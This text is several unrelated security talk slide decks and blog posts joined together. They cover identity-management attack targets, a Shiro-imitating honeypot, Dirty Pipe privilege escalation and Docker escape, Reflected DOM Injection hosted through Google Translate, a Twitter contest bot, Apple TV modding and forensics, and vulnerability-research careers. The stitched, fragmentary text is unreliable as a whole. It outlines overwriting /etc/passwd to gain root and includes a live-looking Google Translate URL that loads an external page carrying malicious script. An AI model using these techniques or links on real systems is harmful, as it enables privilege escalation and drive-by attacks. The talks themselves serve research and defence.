Prefectural Office, National Health Service
(NHS), Municipality of Baerum, Nevada
Department of Corrections, North Kansas City
School District, Ohio Office of the Attorney
General
Who's running IDM?
Palm Beach County, Philips, Public Trust Office
of New Zealand, RedSpider, Rikshospitalet,
Stadtverwaltung Singen, State of Geneva, State of
Nevada Welfare Division, Swisscom IT Services,
The AA, Victorian Government, Waubonsee
Community College
Who else?
Search google or .gov rfp's for “identity
management RFP”
What are the issues
Complexity
High Value
Carelessness
Complex systems are hard to secure
duh
IDM systems often have a huge attack surface
By definition, dealing with at least 2 systems
Typically add in several management tools, user-
facing applications and auditing systems.
High Value
These systems almost always deal with
authentication tokens (passwords, certificates,
etc.)
Complacensy
There is often a perception that as a security product,
these systems are themselves secure
Admins sometimes view “directory” information as
needing little security
Often non-intuitive to set up securely, or there are
conflicting “best practices”
For Novell systems, many have been running since
before security was thought about by many admins
To secure the system, you have to understand all of the
connected systems
Many admins look at software, like
Identity Manager, as a means of
securing their directory, not as a
liability
In summary: high complexity + high value
information + carelessness = likely target
for attack
Part II: Theory of the Exploitation
Leverage the Complexity
Complexity in rapidly changing systems is
usually an advantage for the attacker
More systems = more unique vulnerabilities will
discovered
Defender has to deal with change management
bureaucracy
“Hot” technology often has poor code
quality as companies rush to
implement
IDM systems can be attack at the...
Network Layer
IDM system usually connects systems over a network
Connected System layer
directories, databases, OS authentication mechanisms, etc.
Application Layer
IDM application, system agents, and management tools
Rules
The chosen business rules can often be exploited
Rules
implementation of rules and the programmatic processing can often be
exploited
Part III: Novell Identity Manager
Why am I presenting this stuff?
Novell has made several security architecture decisions
that I think are bad, and they are not clearly explained to
many customers
Even when security best-practices are followed,
vulnerabilities can still be exploited
I would like to see these problems addressed
A minimal Novell system
eDir
Metadirectory Engine
Drivers (usually from Novell)
Driver ruleset
Some Typical Novell Configurations
Security Best Practices
(from the 3.0.1 Administration Guide)
Use SSL
Engine to Remote Loader
Engine or Remote Loader to application
Monitor and Control access to: Driver sets,
Drivers, Driver configuration objects (filters,
style sheets, policies), Password policy objects
(and the iManager task for editing them)
Don't allow too much information in Password
Hint attributes
Security Best Practices (cont)
Force password changes after admin resets
Create Strong Password Policies
So by implication, use Universal Passwords
Secure Connected Systems
“Follow industry best practices for security
measures, such as blocking unused ports on the
server.”
Security Best Practices (cont)
Various Designer Recommendations
Limit Consultants rights
Control .proj files
delete log files
Secure connection from Designer to directory
Don't use encrypted attributes
Don't store passwords that are sensitive
Security Best Practices (cont)
Tracking Changes to Sensitive Information
Done with Novell Audit
Recommended operations to log: Change Password,
Password Set, Password Sync, and Driver Activity
Part IV: Exploitation
Goals of Exploitation
What are the targets when attacking an identity
management system?
Gain access in connected system
Exceed authorization in a system
Steal someone's identity in a system (control
authentication tokens)
Break the auditing
Exploitation Targets
Exploits in the IDM system components
Exploitation Targets (2)
Modify the IDM system
Exploitation Targets (3)
Use the system rules to your advantage
Exploitation Targets (4)
Exploit the rules processing
Exploitation Targets (5)
Exploit the remote loader, and connection to the
remote loader
Exploitation Targets (6)
Passwords
Windows Passwords
Universal Passwords
Exploitation Targets (7)
Auditing subsystem
Conclusions | pdf |
开发shiro蜜罐遇到的一些问题
2022年09月14日 / 网络安全
前情概要
我曾经写过一篇文章,https://rce.ink/index/view/366.go
大概意思就是php的网站模拟shiro工具探测的过程配合响应,实现可以根据指定key让工
具实现逼真的测试效果,如图所示:
这样攻击者会觉得网站是shiro框架,并且被我爆破出了一个key。再配合修改phpsessio
nid为jsessionid,脚本伪静态修改后缀为jsp达到更好的效果。
我的博客是由webman开发,纯纯php框架。
后续开发
上次写到那里我就去做更有意思的项目了。直到最近我才开始对指定利用链检测、命令回
显等功能进行完善。
我写了一堆php代码来配合攻击者使用工具进行利用链测试的场景,大概可以实现下面的
效果:
攻击者发现可以使用这个cc链进行攻击的时候,肯定会进行命令执行。那么我也只需要写
脚本来配合他的一些场景给响应的回显即可,在这里具体针对一下j1anfen师傅开发的shir
o-attack工具。我们反编译工具中的AttackService.class,代码如下
通过设置序列化的恶意attackRememberMe到cookie,对用户输入命令进行base64编
码放入请求头,取响应包body中的内容进行字符串$$$分割,然后取第二组数据,也就是响
应结果,在进行base64解码拿到命令回显。
写一个配合实现的脚本,也就是获取到header c的时候,根据命令回显虚假的命令执行结
果。但是执行命令的时候抛出下标越界的错误,也就是响应包不是类似$$$data$$$的字符
串
工具可以设置代理,为了看具体请求是怎么样的,我挂了一个burpsuite代理,抓到请求
包后发包,结果响应是正常的。
没办法 只能对jar包打断点,使用idea jvm remote debug 的方法,对工具反编译后,带
参数运行
在 String responseText = this.bodyHttpRequest(header, ""); 处打一个断点,这样
我们能看到没挂代理的时候,请求类返回结果是什么。
然后发送命令执行的指令,在代理请求下正常
在关闭代理的情况下 数据变成的乱码 让我非常疑惑 使用自己写的工具、浏览器访问都正
常 就工具不正常
一开始实在没想明白 一直觉得是工具有问题 但是转过头想那为啥其他有漏洞的网站可以测
试呢?所以显然是自己的网站有问题 我不断观察响应包 发现一个header
捏吗 这不是gzip压缩的标头么 看了下数据貌似是被压缩了 这我才想到 我特么网站用的是
nginx啊
java -Xdebug -Xrunjdwp:transport=dt_socket,address=5005,server=y,suspen
-jar /Users/depy/desktop/1.jar
很好 果然是开了 把on改成off 标头就消失了 中间件此时不会对数据进行压缩
然后就可以正常执行命令了
这样我们可以愉快的构造一些虚假的命令执行结果继续浪费攻击者的时间 让他对着php一
顿shiro反序列化了 似乎拿下了网站 似乎又没拿下
原因
1.burpsuite等支持自动对响应做gzip解压缩
2.工具使用的请求类URLConnection不支持自动做gzip解压或者版本太低?我使用自己j
ava工具测试的时候是正常的,看了下我用的是httpurlconnection
所以使用j1anfen师傅、summersec师傅的工具的时候 建议直接挂burpsuite代理 防
止遇到gzip解压的问题让你觉得是命令执行没有回显
后续
demo例子很简单,只是简单的根据工具给的参数,然后给出相应的headerset或者是回显
即可。这样的问题就是如果有多种shiro探测工具,探测利用链和回显以及命令执行的方式
是多种多样的,我的思路是提取工具序列化数据里的字节码,那么可以通过ASM去分析字
节码,再通过一些逻辑与指令去做相应的操作。
不过回到一开始的想法,好用的测试工具只有那么几个,目的是为了消耗攻击者的时间,
所以只需要把特征都保存下来设置一遍,基本也可以实现想要的结果。很简单的实验,师
傅们轻喷呜呜。 | pdf |
影响版本:
Linux Kernel版本 >= 5.8
Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102
漏洞点是在 splice 系统调用中未清空 pipe_buffer 的标志位,从而将管道页面可写入的状态保
留了下来,这给了我们越权写入只读文件的操作。
攻击者利用该漏洞可以覆盖任意只读文件中的数据,这样将普通的权限提升至root权限。
内核提权
漏洞能覆盖任意可读文件,也有一些限制,不能覆盖第一个字节和最后一个,不能填入 \x00 ,写入大
小最多为linux 页 的大小。
利用可以写 /etc/passwd ,新加一个root或修改root用户,也可以写到 corntab , sudo文件 ,sudo文件
可以写入bash或修改elf入口点。
做了一个自动化工具,能一键提权,原理是利用漏洞修改了 /etc/passwd
1. exp会自动 检查版本 ,符合内核的版本才会继续执行,会覆写 /etc/passwd 中root,将root密码置为
空达到提权,工具结束后会恢复 /etc/passwd
2. 直接运行exp会弹回一个root权限的shell
3. ./exp -c whoami # 以root权限执行命令
Docker 逃逸
结合 CVE-2019-5736 达到docker逃逸效果。参考 https://mp.weixin.qq.com/s/VMR_kLz1tAbHrequa2
OnUA
也做了自动化工具,基本原理是 循环获取runc的进程,获取runc入口点偏移,利用dirtypipe写入runc
入口点shellcode。需要完成自动获取入口点偏移和自动生成shellcode (已经完成)。
利用条件比较苛刻:
拥有docker内的root权限
需要外部执行两次 docker exec (可能只需要一次但是没调出来)
自动化利用程序演示: | pdf |
UTILIZING POPULAR WEBSITES FOR
MALICIOUS PURPOSES USING RDI
Daniel Chechik, Anat (Fox) Davidi
Security Web Scanners
What is RDI?
3
Reflected DOM Injection
Legit
Legit
Malicious
A Recipe for Disaster
4
1 simple web page
A Recipe for Disaster
5
1 simple web page
1 trustworthy web utility
A Recipe for Disaster
6
1 simple web page
1 trustworthy web utility
1 script that behaves differently within a certain
context
RDI in Action – Yahoo Cache
7
Yahoo Cache
What just happened?!
8
What just happened?!
9
What just happened?!
10
What just happened?!
11
What just happened?!
12
Let’s take it a step further
13
Google Translate
Go back in time (10 minutes ago)
14
Producing a malicious URL “hosted” on Google
We will be able to access it directly without the
interface:
hxxp://translate.google.com/translate?hl=en&sl=iw
&tl=en&u=http%3A%2F%2Fhandei.ueuo.com%2Ftra
n.html
What happens behind the scenes
15
What happens behind the scenes
16
What happens behind the scenes
17
What happens behind the scenes
18
Content is translated
Let’s Check Out the Code
19
After the text is translated, the malicious code is
generated, decrypted and executed
script
Bob Marley
Let’s Check Out the Code
20
After the text is translated, the malicious code is
generated, decrypted and executed
script
Bob Marley
Generated
Let’s Check Out the Code
21
After the text is translated, the malicious code is
generated, decrypted and executed
script
Bob Marley
Decrypted
Let’s Check Out the Code
22
After the text is translated, the malicious code is
generated, decrypted and executed
script
Bob Marley
Executed
Reflected DOM Injection
23
RDI is a technique
Context makes the difference
Very hard to detect
RDI is awesome!
VirusTotal / Wepawet ?
24
VirusTotal / Wepawet ?
25
VirusTotal / Wepawet ?
26
VirusTotal / Wepawet ?
27
Thank You!
28
Q A
Daniel Chechik:
[email protected] @danielchechik
Anat (Fox) Davidi:
[email protected] @afoxdavidi | pdf |
RT2WIN!
How 50 lines of Python made me the luckiest guy on Twitter
“No purchase necessary, enter as often as you want. So I am.”
Introduction
• I’m Hunter
• Electrical & Computer Engineer
• Working in Silicon Valley
• Currently disrupting social local mobile big data analytics with
cloud based MapReduce deployments on Docker with Rust
Origin
• “Hey, there’s a ton of contests on Twitter. All you have to do to
enter them is retweet them…”
xkcd.com
“How hard could it possibly be?”
• Step 1: Look for contests, retweet them
• Step 2: Profit
• Started with simple search terms at first
• “rt2win”, rt to win”, “rt 2 win”, “retweet to win”, etc
• Used the Twitter API
• Rate limit =
• So, retweet slower, add random delays
+
Beautiful Soup
Better solution
• Turn the follow queue into a FIFO
• Unfollow the 1st account when I follow the 2000th account
• The amount of time it takes to enter 2000 contests that require
following is enough that the 1st contest is almost certainly over
by then
• Side effect: I get more real followers because people follow back
as a courtesy.
• My bot actually looks more legit now
Interesting interactions
Forgot to change my name on one of my
accounts that won the same contest as
another one…
Yes, I won this.
Bots vs Bots
Someone offering a postcard signed by
ME as a prize…
Sometimes my bot was accidentally a
jerk
Guess who?
Another false positive
Another false positive
The Haul
The full list:
hscott.net/winnings.txt
Doing good
But even this backfired…
But even this backfired…
People ask you for weird stuff
Stats
• 165,000 contests entered
• On average, 4 wins per day, every day
Stats
• 165,000 contests entered
• On average, 4 wins per day, every day, for 9 months straight
Stats
• 165,000 contests entered
• On average, 4 wins per day, every day, for 9 months straight
• Most valuable prize: $4000 trip to Fashion Week in NYC
Yes, I paid the taxes.
Other attempts
• Before I did this, there were at most a few people auto-entering
twitter contests
• Couldn’t find any obvious examples
• Did see some manual examples
• Now a lot of people do it
• Or at least, they try
Often imitated, never duplicated
How to keep me from winning
• Take two seconds and read the feed of the winner
• It will usually be pretty obvious.
• I made no attempt at stealth and still won. Some people do attempt
stealth and are much harder to catch
• Make it hard to programmatically enter
• Add something that requires natural language processing
• Consider running the contest on Facebook
• Much harder to make a fake but convincing profile
• Tied to real identity
• Accept that people always try to game contests | pdf |
Hacking the Apple TV
and Where your Forensic
Data Lives
Presentation for:
Defcon 17
July 30, 2009
Kevin Estis
and
Randy “r3d” Robbins
DMCA Disclaimer
1.
Digital Millennium Copyright Act
2.
The authors of this presentation respects the intellectual property rights of others and is committed to complying
with U.S. Copyright laws. Our policy is to respond to notices of alleged infringement that comply with the Digital
Millennium Copyright Act. The Digital Millennium Copyright Act of 1998 ("DMCA") provides recourse for owners of
copyrighted material who believe their rights under U.S. copyright law have been infringed on the Internet.
3.
If you believe representations of your work has been copied or otherwise runs afoul of DMCA during this
presentation that may constitute copyright infringement, please provide notice to our Designated Agent. The
notice must include the following information as provided by the Digital Millennium Copyright Act, 17 U.S.C. 512
( c ) (3):
4.
A physical or electronic signature of a person authorized to act on behalf of the owner of an exclusive right that
is allegedly infringed;
5.
Identification of the copyrighted work claimed to have been infringed, or, if multiple copyrighted works at a
single online site are covered by a single notification, a representative list of such works at that site;
6.
Identification of the material that is claimed to be infringing or to be the subject of infringing activity and that is
to be removed or access to which is to be disabled, and information reasonably sufficient to permit the service
provider to locate the material;
7.
Information reasonably sufficient to permit the service provider to contact the complaining party, such as
address, telephone number, and, if available, an electronic mail address at which the complaining party may
be contacted;
8.
A statement that the complaining party has a good faith belief that use of the material in the manner
complained of is not authorized by the copyright owner, its agent, or the law;
9.
A statement that the information in the notification is accurate and under penalty of perjury, that the
complaining party is authorized to act on behalf of the owner of an exclusive right that is allegedly infringed.
10.
The Designated Agent for notice of copyright infringement claims may be reached as follows:
11.
Kevin A. Estis kevin.estis[at]gmail[dot]com
12.
Randy Robbins randy.robbins[at]gmail[dot]com
Why Use the Apple TV?
Because its’ HOT...
Why Use the Apple TV?
Overview
1.What is the Apple TV?
2.How is it different?
3.How Does it Get Modified?
– The Old Way
– The New Way
4.Walkthrough Two Patchsticks
– atvusb-creator
– aTV Flash
Overview
5. Forensic Data
– Hardware Analysis from a Forensic Examiner Perspective
– Software Summary from a Forensic Examiner Perspective
– File Structures
– Basic Forensic Considerations
– General Forensic Considerations
• Discovery
• Investigations
• Files (Almost) Always Modified
– Apple TV Files and Directories Important to Forensic
Analysis
• Basic Areas for User Data
• Areas Where Most Data Resides
What is the Apple TV?
Overview
1. It is a Digital Media Player
2. Appliance made by Apple
Computer based upon Mac OS
X
– Works with iTunes & iPhoto (plays
what they do)
– Built-in 802.11a/g/n
– Uses Quicktime components to
play media
– Apple TV Operating System may
be modified easily
How is it different?
How is it different?
1. Built on an open-source OS
– Darwin, Berkeley Systems
Distribution (BSD) Unix...the back-
end of Mac OS X
– Uses the Apple Frontrow
application as the GUI
2. Does not have digital video
recording (DVR) capabilities
3. Synchronizes content with
iTunes and iPhoto
11
Darwin
1. Full kernel system for stability
2. Kernel extensions for feature
extensibility
12
Frontrow
Default Menu for
ATV OS 1.1
Default Menu for
ATV OS 2.0.1
13
Apple TV and the iPhone
iPhone
Remote
(Apple)
iPhone
Remote
(Rowmote)
14
iTunes Store
15
iTunes/iPhoto Sync
Synchronize content from iTunes and
iPhoto
Firewalls, HIDS, and
other security
programs can make
this a challenge…
How Does it Get
Modified?
Two Ways to Modify
1. The Old Way
– Remove the drive (void the
warranty)
– Copy over scripts/binaries
manually
– Generally more reliable but time
consuming
2. The New Way
– Point, click, modify
– Sometimes stuff doesn’t install/
work
The Old Way
19
Step 1: Make an Image
1.Remove drive and connect to my MacBook
Pro via a USB-to-SerialATA cable
2.Image the drive with dcfldd
20
Step 2: Enable SSH
1.Enable “remote desktop” on MacBook Pro
2.Copy files to the Apple TV hard drive
21
Step 3: Enable VNC
1.Start VineVNC server on the MacBook Pro
2.Copy the needed files to the Apple TV hard
drive
22
Step 4a: Enable kext
1. Patch the existing Apple TV OS kernel so that the watchdog
service is disabled and kernel extensions re-enabled
2. Copy the patched kernel, the “enabler” file, and extensions to
the Apple TV hard drive
23
Step 4b: Enable kext
1. Put Apple TV hard drive back in Apple TV
2. Connect from MacBook Pro to Apple TV via SSH
3. Execute the kext enabler to start kextload
4. Use kextload to start USB drivers
24
Step 5: Verify USB Drive
Run diskutil list via SSH
25
Step 6: Use Only USB
1. Copy the data from the “default” location to the USB
drive
2. Make a backup of the data located in the default
location
3. Make a symbolic link from the default location to the
new location
26
Step 7: Install ATV
Install AwkwardTV via SSH
27
Step 8: Install nitoTV
Install nitoTV via SSH
28
Step 9: Install Perian
•
Manual installation (nitoTV install didn’t work)
•
Lots of command line
Apple TV by default supports this:
Perian supports
•
AVI, FLV, and MKV file formats
•
MS-MPEG4 v1 & v2, DivX, 3ivX, H.264, FLV1, FSV1, VP6, H263I, VP3,
HuffYUV, FFVHuff, MPEG1 & MPEG2 Video, Fraps, Windows Media
Audio v1 & v2, Flash ADPCM, Xiph Vorbis (in Matroska), MPEG Layer
II Audio
•
AVI support for: AAC, AC3 Audio, H.264, MPEG4, and VBR
MP3Subtitle support for SSA and SRT
29
Step 10: Rip/Download & Enjoy
Copy, Play
The New Way
31
Patchstick Summary
• Requires a USB drive
• Uses boot.efi from an existing
Apple TV OS disk image
• Some version of bootable Linux
• Enable SSH and add Finder.app
appliances (*.frappliance)
• Made for use by people with basic
understanding of computers
32
aTV Flash - Overview
• Commercial patchstick
($49.95, includes 1-year of
updates)
• Code has comments and
subdirectories
• Mac and PC versions
• Installs a lot of
applications others don’t
• Integrates with NitoTV
(tracks Smart Installer and
places “extras” in NitoTV
App menu)
33
aTV Flash – Patchstick Setup
• Selects a USB drive
• Calls home to check for
Internet connectivity
• Either download
the update or tell it
where the file exists
34
aTV Flash – Patchstick Setup
• Downloads the Apple
TV OS Update
• Tell it what
you want to
do
• Done
35
aTV Flash – File Structure
• aTV Flash.app is the actual
application
• A hidden subdirectory root
is created; this is what is put
on the thumbdrive
• Notice the directory
structure of applications
(including the .plist for
CouchSurfer) and the
latestXXXX.dmg at the
bottom of the window
36
aTV Flash – Patchstick.sh
37
ATVUSB-Creator Overview
• ATVUSB-Creator creates an open-source
patchstick.
•
Adds SSH, File Utils, Software
Menu, and XMBC/Boxee to Apple
TV
•
Windows and Mac versions
• ATVUSB-Creator can also create a
“Bootstick”…if you want to boot a Linux distro
•
Application is being actively
developed and improved
38
ATVUSB-Creator -
Patchstick Setup
• Locate a compatible USB thumb drive (not all
are created equal)
• Determine appropriate /dev/<target-drive>
• Ensure the tools you want are
selected
• Click “Create Using ->”…unless
you are rolling your own “uber”
ATV Recovery DMG
• In about two minutes, you have
a handy-dandy ATV-USB
Creator patchstick
39
ATVUSB-Creator -
Patchstick Setup
• ATVUSB-Creator makes two
partitions on the thumb drive
• Uses EFI to mount ATV drive and
make modifications
Hum…wonder if
you can edit
“patchstick.sh to
add your own
custom items
40
ATVUSB-Creator -
Patchstick script
• ATVUSB-Creator mounts ATV
hard drive in RW
• Creates some links and then
searches for “install.sh” scripts
• Each “install.sh” configures
and installs its package…
41
ATVUSB-Creator - Complete
• Unplug and plug in the ATV…wait 2 minutes
and ssh [email protected]
ATVUSB-Creator Demo
Popular Applications
44
nitoTV - Overview
• Installed by almost all
patchsticks
• Massive amount of
functionality including
mounting USB drives,
viewing RSS feeds, and
installation of 3rd-party
applications
45
nitoTV - Overview
• Files menu will access
USB drives
• Streams will access
streaming audio/video
feeds and play via
mPlayer
46
nitoTV - Overview
• RSS menu will load RSS
feeds you configure
• Although articles are
limited to text only
47
nitoTV – Overview - Settings
• Most nitoTV functionality and benefit is on
the back-end utilities
48
nitoTV – Overview - Settings
• nitoTV Smart Installer will not only go out and
retrieve (most) of what you need it will
automatically install components for you as
long as the source files are present
49
nitoTV – Overview - Settings
• nitoTV Utilities menu provides access to
several sub-menus and scripts
• The reboot/shutdown scripts are most helpful
since there is no other easy way
50
nitoTV – Overview - Settings
• nitoTV Utilities – Services
menu provides access to
enable/disable SecureShell,
Apple Filing Protocol, and
File Transfer Protocol
• nitoTV Utilities –
Console provides
read access to
console logs
nitoTV Demo
Boxee Walk-through
Where Your Data Lives
54
Forensics Data – Topics
• What are the big ticket items?
– Hardware Analysis from a Forensic Examiner Perspective
– Software Summary from a Forensic Examiner Perspective
– File Structures
– Basic Forensic Considerations
• General Forensic Considerations
• Discovery
• Investigations
• Files (Almost) Always Modified
– Apple TV Files and Directories Important to Forensic
Analysis
• Basic Areas for User Data
• Areas Where Most Data Resides
55
Hardware Analysis
•
Small form factor and low noise (no fan)
•
Has both 802.11n (which includes 802.11b and
802.11g backwards compatibility) and
10/100Base-T Ethernet abilities, so that either type
of network connectivity may be utilized
•
Video output from the device is processed via
HDMI or component video, and audio output is
processed via optical or RCA composite
connections.
56
Software Summary
•
By default, runs a modified version of the full
Apple OS X operating system
•
Built upon FreeBSD (a derivative of Berkeley
Software Distribution Unix); very powerful and
equally functional
•
Capability to run the same programs and
applications as other Linux/BSD servers
•
Functionality for multiple video, audio, and
picture formats already built-in
•
Two primary variants of the Apple TV OS: version
1.0/1.1 and version 2.x (also known as Take 2); 2.x
removed a lot of “unnecessary” applications
57
Software Summary
•
GUID partition scheme, formatted as HFS+, and
(by default) should have four separate disk
partitions:
– Extensible Firmware Interface [EFI]
– Apple Recovery for system restores to factory original
– OSBoot for the boot files
– Media for the media files
58
Software Summary
OS takes advantage of the ability to use symbolic links
(and even has some of the same links)
59
Basic Forensic Considerations
• Discovery
– Conduct a wireless assessment to determine if
wireless networking is allowing the device to
communicate on the LAN or local WiFi
networks.
– The WAP being utilized may or may not belong
to the individual being investigated and/or
area being searched; information about all
local WAP should be collected
– MAC addresses, IP addresses, and signal
strength mapping can provide valuable data
– Remember USB drives, iPhones, and network
file services (SMB/Samba, FTP, AFP, SSH)
60
Basic Forensic Considerations
• Investigations
– Hard drive is has a GUID partition table
formatted as HFS+; investigation workstation
will need file system drivers for reading HFS/HFS
+ drives
– All OS X derivatives utilize Property List (.plist)
files for configuration and some log data. Use
OS X Property List Editor or another viewer
capable of processing XML
– OS X uses a database called NetInfo for storing
some configuration data; normally accessed
via NetInfo Manager in OS X prior to version
10.5 (Leopard) (possibly use NetInfo for Linux
by PADL Software)
61
Files (Almost) Always Modified
• The ATV OS kernel must be patched to
run kernel extensions (mach_kernel)
– Located in /OSBoot/
– Systems modified with patchsticks generally
have copies of the original saved as
mach_kernel.prelink.og
• New kernel extensions loaded into /
OSBoot/System/Library/Extensions
• Secure Shell
– SSHD into /Volumes/OSBoot/usr/sbin
– Dropbear into /Volumes/OSBoot/usr/bin
62
Files and Directories Important to
Forensic Analysis
• Most user data is located in:
– /Media/Scratch/Users/frontrow
• However, your data is EVERYWHERE:
– /OSBoot/System/Library/Filesystems - Used for file-system
component applications, by default contains 2 items but
may have user-added items (such as fusefs.fs for mounting
shares via SSH).
– /OSBoot/System/Library/Frameworks - by default has 49
items but users/3rd parties may have added more (such as
AppleShareClient.framework for enabling AFS
connections)
– /OSBoot/usr/libexec - Contains executable libraries used
by the OS, By default has 27 items but user/3rd party may
place others (like sftp-server, etc.)
– /OSBoot/usr/sbin - by default has 59 items but may contain
others added by user/3rd parties like sshd
63
Files and Directories Important to
Forensic Analysis
•
/Media/Photos/Pxx - each folder will have a picture
and a ‘thumbnail’ file for every photo synced with
iPhoto.
•
/Media/Scratch/Library/Preferences/
SystemConfiguration/autodiskmount.plist -
configuration data for disks to mount without user
intervention, not present by default so it indicates the
user utilizes removable disks
•
/Media/Scratch/Library/Preferences/
SystemConfiguration/
com.apple.airport.preferences.plist - configuration
data for the Apple TV airport connection (includes list
of known networks)
•
/Media/Scratch/private/var/run/resolv.conf – contains
DNS servers used to resolve DNS queries by the Apple
TV (this file is configurable by the user).
64
Files and Directories Important to
Forensic Analysis
• Areas Where Most Data Resides
– Log information in .plist files and the Spotlight
index; Spotlight can be hit or miss
• /OSBoot partition contains some log files normally
found in /var/log on a standard Apple OS X system
• /Media partition has logs in /var/log generally different
than /OSBoot
– Generally, /user/frontrow has all 3rd party apps
and data
• Applications also track a LOT of data
– nitoTV places data in \Media\Scratch\Users
\frontrow\Library\Application Support\nito
– Boxee places a lot of data in \Media\Scratch
\Users\frontrow\Library\Application Support
\BOXEE\
65
Remnants of Data
Remnants of Data
Questions? | pdf |
Vulnerabilities 101:
How to Launch or Improve Your
Vulnerability Research Game
Joshua “jduck” Drake, Zimperium
Steve Christey Coley, MITRE
DEF CON 24
Aug 7th, 2016
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
• About Josh
– 20-years of VR, Ran iDefense VCP
• About Steve
– CVE, “Responsible Disclosure” (sorry), CVSS, CWE, ...
• Why we are doing this
– Currently, there is *way* more insecure code out there than
researchers. This isn't guaranteed in 10 years, though.
– We need more people looking at code that’s deployed in the
real world
– We hope to encourage more people to get involved
2
Introductions
Josh & Steve - Intros / Steve to finish
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
• This is our opinion only
– Based on our own career experiences
– Others have their own opinions
• YOU… proving the cliche… are a unique
snowflake
• You’ll find your own way, but hopefully we can
help you find it faster
• No new ‘sploits here
3
Disclaimers
Steve
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
•Vulnerabilities != Exploits
•A Vulnerability resides in the
software itself, doing nothing on its
own
•An Exploit is a set of steps
(possibly manual, or in the form of
a program) that interacts with the
software in a way that has a
non-zero chance of successfully
taking advantage of a vulnerability
https://twitter.com/mholt6/status/529797274658807810
4
What is a Vulnerability?
Steve
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
• Too many definitions...
– Roughly: “a mistake in a system’s design or implementation that allows
an ‘attacker’ to conduct activities that (1) affect other users and (2) are
not explicitly allowed or intended by the developer or sysadmin.”
• “What do you have?” vs. “What do you get?”
– there must be a difference
5
What is a Vulnerability?
Josh
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
• “How much help must the victim give you?” (user interaction)
– None - Automatic
– Low - “Normal” usage (e.g., clicking on a link is *normal*)
– High - e.g. “copy this javascript: url into browser”
• “How much luck do you need?”
–ASLR, unusual configs, narrow race windows
• Vulnerabilities have MANY other properties… Some will
become apparent in the rest of this talk.
6
Vulnerability Properties
Josh
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
• This process may take minutes, days, months, even years
• Vulnerability Discovery may be used to emphasize finding
individual bugs in specific software
• Solving puzzles within puzzles, where you don’t know what
the puzzle is when you begin
The process of analyzing a product, protocol, or
algorithm - or a set of related products - to find,
understand, or exploit one or more vulnerabilities.
7
What is Vulnerability Research?
Josh
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
• Realistically, motivations vary
per individual
– Not every researcher will share
your motivations
– Vendors might have experience or
only assume certain motivations
8
(word clouds generated on http://www.wordclouds.com/)
Why DO Vulnerability Research?
Josh
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
Vulnerability Related Careers
9
The need to deal with vulnerabilities spawns a wide variety of career
opportunities
-
This includes many roles that aren’t considered “pure VR” too
-
Which job is right for you depends on skills, interest level, and more.
-
Here’s a few of the myriad potential tasks:
● Discover ‘em
● Analyze ‘em
● Improve ‘em
● Exploit ‘em
● Investigate ‘em
● Catalog ‘em
● Fix ‘em
● Communicate ‘em
● Coordinate ‘em
● Minimize ‘em
● Prioritize ‘em
● Document ‘em
...we’ll elaborate more as we continue...
Steve
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
• No one says you have to get a job doing this stuff. You could do it
just for fun (aka a “hobbyist”).
• If you choose to get a job, you could work for (no particular order):
– Yourself! - bug bounties, black/gray market sales, etc.
– Consulting firms that value research
– Security product companies (for marketing value)
– Software vendors (product security or response team)
– Regular businesses (internal application security teams)
– Government contractors (or government directly)
– Academia (focus is “pure” research)
– CERTs (analyze and understand real-world attacks)
• Note: not all work gets public recognition
10
Potential Employers
Steve
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
• Patience - especially when
dealing with people
• Persistence & patience - there
will be challenges
• Diligence - details and
accuracy are important
• Curiosity - fuel for motivation
to learn
11
“Should Have” Personality Traits
Steve
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
12
“Nice to Have” Personality Traits
• We feel these traits increase the chances of long-term,
repeated success.
Steve
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
13
Certain skills, usually acquired over time, seem to lead to long-term success.
• Common attack patterns and logical flows (e.g. logic vulns, CSRF, authZ/authN)
• How to run analysis tools and evaluate their findings
•
Clear communication; one (preferably many) of
– Understanding and respecting your audience(s)
– Well-structured advisory
– Describing the issues (for the vendor and/or public)
• Using common vocabulary
• Why it’s important
• Steps to reproduce, functional PoC with well-labeled functions, comments, etc.
– NOTE: perfect English is NOT on this list; the above items are much more important
• Knowledge of “how things work” under the hood: code, protocols, file formats, ...
Clear communication is probably one of the biggest contributors to career success, no
matter your specialty (also, less drama due to misunderstandings).
Skills for Long-Term Success
Steve
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
•
Attack Surface: the set of all inputs and code paths with which an attacker can interact
•
Attack Vector: the route by which an attack is carried out (i.e. email, malicious link, etc.)
•
Impact
–
RCE (remote code execution), EoP (escalation of privilege), DoS (denial of service)
•
PoC (Proof of Concept)
–
What concept are you proving?! A vulnerability exists? A crash happens? Exploitable?
–
Clearly communicate what you’ve proven. It will ease your efforts.
•
Vulnerability classes
–
Memory corruption, injection (SQLi, XSS, etc.), protocol/specification design, …
–
When the low-hanging fruit fails: “Business logic”
•
Vulnerability chains
–
Chains Example: Integer Overflows leading Heap Overflows
•
Root cause analysis
–
Ex. XSS in error msg indicating system() or path trav
–
Ex. In C/C++, this is often the first encountered instance of undefined behavior.
–
Deeper analysis - ask yourself ‘why?’
NOTE! Many terms have multiple definitions or context-specific usage too..
14
Key Terms (Vocabulary)
Steve + Josh
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
●
OWASP Top Ten
●
SANS/CWE Top 25
●
White papers
●
Periodic electronic
collections
●
Videos
●
Mailing lists
●
Github repos
●
Vendor’s bug databases
●
Vuln scanners
●
Intentionally-vulnerable
packages
●
CTFs / wargames
●
Individual researchers
●
Vulnerability databases
●
Conference talks
●
Classes
●
Books
●
Yearly White Hat Security
Top 10 attacks
●
Pwnie Awards Nominees
●
Bug bounties
See bonus slides for specific
references!
15
The Firehose: Where to Learn?
